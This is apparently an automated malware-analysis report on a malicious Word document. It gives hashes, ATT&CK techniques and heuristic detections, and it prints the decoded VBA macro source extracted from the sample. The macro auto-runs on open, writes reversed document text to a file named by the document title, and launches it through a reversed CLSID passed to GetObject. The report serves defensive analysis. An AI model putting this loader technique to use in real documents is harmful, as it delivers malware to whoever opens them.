Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3cf936a6434b3a0d…

MALICIOUS

Office (OOXML)

65.9 KB Created: 2021-05-12 10:15:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-22
MD5: 9c155d82be5be52f3d585a0e23e72de0 SHA-1: 919fed7ba19304bd511cb1101362c80f99e8a89d SHA-256: 3cf936a6434b3a0d2f0310e0dd4f6feb998999e86ce9500568094b2fa7e6ffd4
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a Document_Open VBA macro that is heavily obfuscated and uses GetObject to execute code. The macro's purpose appears to be downloading and executing a second-stage payload, likely via a call to PowerShell, as indicated by the obfuscated string and the use of GetObject with a specific ProgID. The obfuscated string '0883F19C0A00-5548-1D11-1A2F-09DFA80C:wen' is used in conjunction with GetObject, suggesting it's a key component for payload execution.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1072 bytes
SHA-256: 9cba38b0781a81fa1659188a0a332d1ad821dbbaa44bd3770c7140956f4a8967
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
main
End Sub

Attribute VB_Name = "counterDelete"
Sub main()
procButtonListbox
End Sub

Attribute VB_Name = "removeRequestCaption"
Function vbValueTable(varCaptionTextbox)
vbValueTable = StrReverse(varCaptionTextbox)
End Function
Function procWindowFunc()
procWindowFunc = vbValueTable(ActiveDocument.Range.text)
End Function

Attribute VB_Name = "countTextArray"
Function title()
title = ActiveDocument.BuiltInDocumentProperties("title")
End Function
Sub procButtonListbox()
Dim bufferValueBuf As String
bufferValueBuf = title
Open bufferValueBuf For Output As #1
Print #1, procWindowFunc
Close #1
Set listIteratorException = GetObject(StrReverse("0883F19C0A00-5548-1D11-1A2F-09DFA80C:wen"))
listIteratorException.Navigate2 title
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: 53da66870679e446d501a03a2c708c2f8634e68168d6f38564d5380ae01cc9e1

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